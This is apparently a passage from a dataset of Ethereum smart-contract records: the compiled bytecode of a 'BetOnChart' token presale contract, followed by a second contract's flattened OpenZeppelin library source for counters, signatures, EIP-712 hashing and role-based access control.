0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101285780631515bc2b146101b85780632c4e722e146101e7578063355274ea146102125780634042b66f1461023d5780634b6753bc146102685780634f93594514610293578063521eb273146102c2578063574cc0fe1461031957806369dc9ff31461036c578063715018a6146103ca5780638ab1d681146103e15780638da5cb5b146104245780639b19251a1461047b578063b7a8807c146104d6578063bf58390314610501578063bff99c6c1461052c578063d305399d14610583578063ec8ac4d8146105de578063f2fde38b14610614578063fc0c546a14610657575b610126336106ae565b005b34801561013457600080fd5b5061013d61077c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017d578082015181840152602081019050610162565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c457600080fd5b506101cd6107b5565b604051808215151515815260200191505060405180910390f35b3480156101f357600080fd5b506101fc6107c1565b6040518082815260200191505060405180910390f35b34801561021e57600080fd5b506102276107c7565b6040518082815260200191505060405180910390f35b34801561024957600080fd5b506102526107cd565b6040518082815260200191505060405180910390f35b34801561027457600080fd5b5061027d6107d3565b6040518082815260200191505060405180910390f35b34801561029f57600080fd5b506102a86107d9565b604051808215151515815260200191505060405180910390f35b3480156102ce57600080fd5b506102d76107e8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561032557600080fd5b5061036a600480360381019080803590602001908201803590602001919091929391929390803561ffff1690602001909291908035906020019092919050505061080e565b005b34801561037857600080fd5b506103ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ff565b604051808381526020018281526020019250505060405180910390f35b3480156103d657600080fd5b506103df610a23565b005b3480156103ed57600080fd5b50610422600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b005b34801561043057600080fd5b50610439610bdf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048757600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c05565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b506104eb610c25565b6040518082815260200191505060405180910390f35b34801561050d57600080fd5b50610516610c2b565b6040518082815260200191505060405180910390f35b34801561053857600080fd5b50610541610d7f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058f57600080fd5b506105dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803561ffff16906020019092919080359060200190929190505050610da5565b005b610612600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106ae565b005b34801561062057600080fd5b50610655600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f22565b005b34801561066357600080fd5b5061066c61107a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506106be838361109f565b6106c7826110d2565b90506106de8260035461113090919063ffffffff16565b6003819055506106ee838261114c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a3610765838361115a565b61076d61115e565b61077783836111c9565b505050565b6040805190810160405280601881526020017f4265744f6e436861727420746f6b656e2070726573616c65000000000000000081525081565b60006009544211905090565b60025481565b600a5481565b60035481565b60095481565b6000600a546003541015905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561086d57600080fd5b61012c8461ffff161115151561088257600080fd5b600091505b858590508210156109f75760016005600088888681811015156108a657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060066000878785818110151561092657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506109bf6109ae60646109a08761ffff166002546111cd90919063ffffffff16565b61120590919063ffffffff16565b60025461113090919063ffffffff16565b81600001819055506109e2670de0b6b3a7640000846111cd90919063ffffffff16565b81600101819055508180600101925050610887565b505050505050565b60066020528060005260406000206000915090508060000154908060010154905082565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7f57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8457600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900460ff1681565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610d3f57600080fd5b505af1158015610d53573d6000803e3d6000fd5b505050506040513d6020811015610d6957600080fd5b8101908080519060200190929190505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b61012c8361ffff1611151515610e1857600080fd5b6001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610ef1610ee06064610ed28661ffff166002546111cd90919063ffffffff16565b61120590919063ffffffff16565b60025461113090919063ffffffff16565b8160000181905550610f14670de0b6b3a7640000836111cd90919063ffffffff16565b816001018190555050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fba57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6110a9828261121b565b600a546110c18260035461113090919063ffffffff16565b111515156110ce57600080fd5b5050565b6000611129600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154836111cd90919063ffffffff16565b9050919050565b6000818301905082811015151561114357fe5b80905092915050565b6111568282611248565b5050565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156111c6573d6000803e3d6000fd5b50565b5050565b6000808314156111e057600090506111ff565b81830290508183828115156111f157fe5b041415156111fb57fe5b8090505b92915050565b6000818381151561121257fe5b04905092915050565b600854421015801561122f57506009544211155b151561123a57600080fd5b61124482826113a2565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561136257600080fd5b505af1158015611376573d6000803e3d6000fd5b505050506040513d602081101561138c57600080fd5b8101908080519060200190929190505050505050565b81600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156113fb57600080fd5b8282600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154811015151561144e57600080fd5b611458858561145f565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561149b57600080fd5b600081141515156114ab57600080fd5b50505600a165627a7a72305820f271b723815ee3fd9bb580e8a0be832f90d6b4372dcd3d63cbdfb25e350bb2e30029
[ 16 ]
0xF20A09c0a48dc2259D47DFDDB1Fad23f88122EEd
// File: @openzeppelin/contracts@4.4.2/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts@4.4.2/token/ERC20/extensions/draft-IERC20Permit.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File: @openzeppelin/contracts@4.4.2/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts@4.4.2/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts@4.4.2/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts@4.4.2/utils/cryptography/ECDSA.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File: @openzeppelin/contracts@4.4.2/utils/cryptography/draft-EIP712.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // File: @openzeppelin/contracts@4.4.2/access/IAccessControl.sol // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts@4.4.2/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts@4.4.2/access/AccessControl.sol // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", 